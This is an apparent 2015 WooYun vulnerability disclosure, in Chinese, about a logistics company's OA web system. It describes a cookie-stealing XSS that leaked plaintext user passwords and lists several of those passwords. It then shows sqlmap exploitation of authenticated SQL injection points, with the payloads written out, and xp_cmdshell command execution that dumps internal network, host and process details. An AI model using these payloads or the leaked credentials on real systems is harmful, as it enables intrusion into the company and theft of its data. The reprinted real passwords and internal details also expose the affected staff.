漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0134858
漏洞标题：龙邦供应链从XSS到SYSTEM权限的CMD 漫游失败（附上一些小技巧）
相关厂商：lbscm.com.cn
漏洞作者： 陆由乙
提交时间：2015-08-18 14:29
修复时间：2015-08-23 14:30
公开时间：2015-08-23 14:30
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-23： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
来个礼物可好！
详细说明：
2015-02-26 10:21:22
location : http://xtoa.lbex.net/msg/pages/message_unread.aspx
toplocation : http://xtoa.lbex.net/index.aspx
cookie :Hm_lvt_1b5947563a8229f45c4d9c0c8f356d8c=1419668304,1419842344
opener :
HTTP_REFERER : http://xtoa.lbex.net/msg/pages/message_unread.aspx
HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
REMOTE_ADDR : 222.129.109.198
这是最早的一个留言板XSS，我一直没管他。
到现在网站的地址变了，我才注意到它。
<li>location : http://newxtoa.lbscm.com.cn:8881/msg/pages/message_unread.aspx</li>
<li>toplocation : http://newxtoa.lbscm.com.cn:8881/os/desk/index.aspx###</li>
<li>cookie : __utma=24840357.487218038.1433467077.1435555266.1435571131.17; __utmz=24840357.1433467077.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); loginusername=sh.zc; loginpassword=123321</li>
<li>opener : </li>
</ul>
</td>
<td>
<ul>
<li>HTTP_REFERER : http://newxtoa.lbscm.com.cn:8881/msg/pages/message_unread.aspx</li>
<li>HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 LBBROWSER</li>
<li>REMOTE_ADDR : 115.236.75.86</li>
看这个cookie你发现了什么，对那就是账户和密码。
列几个：
帐号：sh.zc
密码：123321
loginusername=js.cj
loginpassword=888888
loginusername=sh.chy
loginpassword=YFSHCHY19780405
loginusername=sh.gfj
loginpassword=888888
通过这些，我们可以登录
http://newxtoa.lbscm.com.cn:8881
@咸鱼翻身 之前提到过的弱口令888888的问题还是没有解决，换个后台地址，XSS依旧存在。
其实这个XSS你们应该发现了的，但是没有修全HTML5的触发。最早连<script>alert()</script>都触发的。
还有这个用户：sh.chy
看到网站存在漏洞的留言板后就将密码改为YFSHCHY19780405了可是依旧没逃掉XSS。
漏洞证明：
然后我进入了系统
，测试了下漏洞。发现如下：
http://newxtoa.lbscm.com.cn:8881/abm/pages/my_addressbooks_add.aspx?pid=2
http://newxtoa.lbscm.com.cn:8881/forms/pages/MacroeaseForm.aspx?formkey=
http://newxtoa.lbscm.com.cn:8881/common/view_attchment.aspx?op=2&attid=204
三枚sql注入，都需要登录。
但是这三枚注入是DBA权限，MSSQL的数据库，且可以执行xp_cmdshell命令。
E:\qy\sqlmapproject-sqlmap-b1d13d1>sqlmap.py -r lb.txt --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150213}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:31:06
lb.txt
[21:31:06] [INFO] parsing HTTP request from 'lb.txt'
lb.txt
[21:31:06] [WARNING] provided value for parameter 'loginpassword' is empty. Plea
se, always use only valid parameter values so sqlmap could be able to run proper
ly
[21:31:06] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:31:06] [INFO] testing connection to the target URL
[21:31:06] [WARNING] reflective value(s) found and filtering out
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: pid (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: pid=2 AND 5863=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CH
AR(106)+CHAR(113)+(SELECT (CASE WHEN (5863=5863) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(118)+CHAR(113)))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: pid=2; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: pid=2 WAITFOR DELAY '0:0:5'--
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: pid=(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELE
CT (CASE WHEN (7753=7753) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+
CHAR(120)+CHAR(118)+CHAR(113))
---
[21:31:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[21:31:07] [INFO] fetching database names
[21:31:07] [INFO] the SQL query used returns 8 entries
[21:31:07] [INFO] resumed: iwork
[21:31:07] [INFO] resumed: master
[21:31:07] [INFO] resumed: model
[21:31:07] [INFO] resumed: msdb
[21:31:07] [INFO] resumed: ReportServer
[21:31:07] [INFO] resumed: ReportServerTempDB
[21:31:07] [INFO] resumed: tempdb
[21:31:07] [INFO] resumed: testiwork
available databases [8]:
[*] iwork
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] testiwork
[21:31:07] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\newxtoa.lbscm.com.cn'
[*] shutting down at 21:31:07
有几千张表有DNS，ERP的，什么都有。
但是不知道为啥有时执行命令服务器会挂掉。
以下是命令执行结果：
net view
服务器名称 注解
-------------------------------------------------------------------------------
\\2012-1010-0206
\\2012-20120709LX
\\2012-20141111LF
\\2012-20150113CC
\\2012317-0241
\\2013-0724-1958
\\20140824-1423
\\20141018-1137
\\4PCC9HB1MWCHCKZ
\\A1921031231
\\A192168117
\\ADKTIFFG79E6CU5
\\CAIWU-PC
\\CW-PC
\\DJ6L9AMKKWFBONG
\\GEN91E92F
\\GX-PC
\\HFRHU09RGZPONAN
\\HP
\\HPP3J50GR3CYMO1
\\L9EH2CHZWX9MEES
\\LBEX-29CD6F6BD5
\\LBEX-29CD6F6BFG
\\LBEX-969
\\LBEX-EC6BDA93CA
\\LBEX02
\\LIHUIPING-PC
\\LOG
\\P2031
\\P403010910
\\PC-2012031231
\\PC-201203188678
\\PC-201203188986
\\PC-201203191607
\\PC-201204011104
\\PC-201204161418 yihui
\\PC-201205291137
\\PC-20120602
\\PC-201207261047
\\PC-2012082319 12
\\PC-201208231955
\\PC-201209191043
\\PC-201305220931
\\PC-201309021430
\\PC-201309030915
\\PC-201309121155
\\PC-201309651043
\\PC-201310250933
\\PC-201312171401
\\PC-201312281455
\\PC-201403010910
\\PC-201404211508
\\PC-201405221445
\\PC-201411101511
\\PC-201501121412
\\PC-201503200900
\\PC-201504281312
\\PC-201504301019
\\PC-201505061427
\\PC-201505070858
\\PC-201505071431
\\PC-201505121006
\\PC-201506030936
\\PC-201506170906
\\PC-2015316
\\PC-20910
\\PC-20RE
\\PC-230910
\\PC-2516565
\\PC-5656121
\\PC-FJ
\\PC-LIUYQ
\\PC-MGR
\\PC-WXQ
\\PC-ZR
\\PC2003010100KWI
\\PC628-20150521
\\PERSON-PC
\\PKORJIKEJ4AOM6Q
\\PS9K2RZZDNPYN3C
\\PUS6VM0UARISBQF
\\SC-201501211518
\\SC-201505040912
\\USER-20120327IG
\\USER-20140830QA
\\USER-20140905WW
\\USER-20140912ZT
\\USER-20150105NN
\\USER-20150107YQ
\\USER-20150119NK
\\USER-20150410JT
\\USER-201505
\\USER-20150501XE
\\USER-20150525MY
\\USER-20150602QA
\\USER-20150608HH
\\USER-20150610AJ
\\USERCHI-2KDEFDB
\\VGVLMAJYD9HZ26N
\\VNBPOPTWZHZ313S
\\W7VPBMJXFOOMUUO
\\WIN-O5GO7B6W3CV
\\WUK7LZ3HLPDLVOC
\\XP-2012022
\\XP-201203191119
\\XP-201203251331
\\XP-201301280951
\\XQ-20141212ATEW
\\ZK-PC
\\ZS-PC
\\罗甜
命令成功完成。
ipconfig
Windows IP 配置
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::c4c2:1b0d:acbe:ab7d%11
IPv4 地址 . . . . . . . . . . . . : 192.168.1.245
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.1.1
隧道适配器 isatap.{908D546C-4327-4B98-BD90-4B0CE2380CAE}:
媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :
隧道适配器 Teredo Tunneling Pseudo-Interface:
连接特定的 DNS 后缀 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2001:0:b4a8:29af:c15:1e68:3f57:fe0a
本地链接 IPv6 地址. . . . . . . . : fe80::c15:1e68:3f57:fe0a%13
默认网关. . . . . . . . . . . . . : ::
netstat -an
活动连接
;协议 ;本地地址 ;;;;;;;;;外部地址 ;;;;;;;状态
;TCP ;;;0.0.0.0:21 ;;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:21 ;;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:22 ;;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:22 ;;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:80 ;;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:88 ;;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:135 ;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:443 ;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:443 ;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:445 ;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:990 ;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:990 ;;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1025 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1026 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1027 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1028 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1029 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1035 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:1433 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:2383 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:2928 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:3389 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:5466 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:5466 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:8080 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:8080 ;;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;0.0.0.0:47001 ;;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;127.0.0.1:1036 ;;;;;;;;127.0.0.1:1037 ;;;;;;;;ESTABLISHED
;TCP ;;;127.0.0.1:1037 ;;;;;;;;127.0.0.1:1036 ;;;;;;;;ESTABLISHED
;TCP ;;;127.0.0.1:1434 ;;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;127.0.0.1:42424 ;;;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;192.168.1.245:80 ;;;;;;27.129.233.243:27207 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;49.71.225.9:14398 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;49.71.225.9:14399 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;49.71.225.9:14633 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;49.71.225.9:14638 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;49.71.225.9:17250 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;49.71.225.9:17251 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;61.151.218.119:49418 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;61.151.218.119:49436 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.33.205:50357 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.33.205:50361 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.33.217:44176 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.33.228:39718 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.33.228:59845 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.51.226:52397 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.89.121:56920 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;101.226.89.121:56921 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;111.75.166.238:60578 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;112.64.235.245:48084 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;112.64.235.245:48085 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;112.64.235.245:48086 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;112.64.235.245:48087 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;112.64.235.245:48088 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;112.64.235.253:51667 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;115.236.75.86:15533 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;115.236.75.86:17080 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;115.236.75.86:17081 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;115.236.75.86:17113 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;115.236.75.86:17129 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;115.236.75.86:17155 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;117.91.4.212:46417 ;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;117.91.4.212:46733 ;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;118.112.66.162:30280 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;118.112.66.162:30322 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;125.111.173.76:4071 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;125.111.173.76:4084 ;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;180.113.79.199:55602 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;180.113.79.199:55629 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;180.113.79.199:55630 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.205.252:36367 ;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.205.252:36373 ;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.206.23:60981 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.206.34:59475 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.206.34:59476 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.206.34:59477 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.206.34:59478 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.206.34:59479 ;;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.153.214.176:51433 ;TIME_WAIT
;TCP ;;;192.168.1.245:80 ;;;;;;180.173.155.130:1532 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;180.173.155.130:2032 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;182.149.74.170:27083 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;182.149.74.170:27554 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;182.149.74.170:27557 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;182.149.74.170:27579 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;182.149.74.170:27605 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2179 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2259 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2304 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2312 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2313 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2315 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2437 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2438 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2515 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2531 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2555 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2557 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2558 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2559 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:2995 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3000 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3068 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3072 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3074 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3758 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3759 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3818 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3839 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3840 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3841 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3842 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3940 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3943 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3944 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3945 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3946 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:3947 ;;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:49656 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:49657 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50245 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50261 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50262 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50264 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50265 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50270 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50416 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50417 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50488 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50490 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50522 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:50523 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:51175 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;192.168.1.1:54049 ;;;;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;222.79.155.208:50670 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;222.79.155.208:50672 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;222.79.155.208:50673 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;222.79.155.208:50674 ;;ESTABLISHED
;TCP ;;;192.168.1.245:80 ;;;;;;222.79.155.208:50677 ;;ESTABLISHED
;TCP ;;;192.168.1.245:139 ;;;;;0.0.0.0:0 ;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:21 ;;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:22 ;;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:80 ;;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:88 ;;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:135 ;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:443 ;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:445 ;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:990 ;;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1025 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1026 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1027 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1028 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1029 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1035 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:1433 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:2383 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:3389 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:5466 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:8080 ;;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::]:47001 ;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;TCP ;;;[::1]:1434 ;;;;;;;;;;;;[::]:0 ;;;;;;;;;;;;;;;;LISTENING
;UDP ;;;0.0.0.0:500 ;;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:4500 ;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:5355 ;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:6666 ;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:6674 ;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:49544 ;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:56632 ;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:56832 ;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;0.0.0.0:63579 ;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;192.168.1.245:137 ;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;192.168.1.245:138 ;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;[::]:500 ;;;;;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;[::]:4500 ;;;;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;[::]:5355 ;;;;;;;;;;;;;*:* ;;;;;;;;;;;;;;;;;;;
;UDP ;;;[fe80::c4c2:1b0d:acbe:ab7d%11]:546 ;*:* ;;;;;;;;;;;;;;;;;;;
systeminfo
主机名: WIN-Q4FH7HFGHNJ
OS 名称: Microsoft Windows Server 2008 R2 Enterprise
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
OS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
注册的组织:
产品 ID: 00486-OEM-8400691-20006
初始安装日期: 2015/3/5, 13:02:05
系统启动时间: 2015/7/21, 10:48:49
系统制造商: ASUS
系统型号: All Series
系统类型: x64-based PC
处理器: 安装了 1 个处理器。
[01]: Intel64 Family 6 Model 60 Stepping 3 GenuineIntel ~2380 Mhz
BIOS 版本: American Megatrends Inc. 1707, 2013/12/13
Windows 目录: C:\Windows
系统目录: C:\Windows\system32
启动设备: \Device\HarddiskVolume1
系统区域设置: zh-cn;中文(中国)
输入法区域设置: 暂缺
时区: (UTC+08:00)北京，重庆，香港特别行政区，乌鲁木齐
物理内存总量: 8,064 MB
可用的物理内存: 696 MB
虚拟内存: 最大值: 16,126 MB
虚拟内存: 可用: 8,519 MB
虚拟内存: 使用中: 7,607 MB
页面文件位置: C:\pagefile.sys
域: WORKGROUP
登录服务器: 暂缺
修补程序: 安装了 1 个修补程序。
[01]: KB976902
网卡: 安装了 1 个 NIC。
[01]: Realtek PCIe GBE Family Controller
连接名: 本地连接
启用 DHCP: 否
IP 地址
[01]: 192.168.1.245
[02]: fe80::c4c2:1b0d:acbe:ab7d
tasklist
映像名称 PID 会话名 会话# 内存使用
========================= ======== ================ =========== ============
System Idle Process 0 Services 0 24 K
System 4 Services 0 364 K
smss.exe 332 Services 0 1,168 K
csrss.exe 468 Services 0 6,088 K
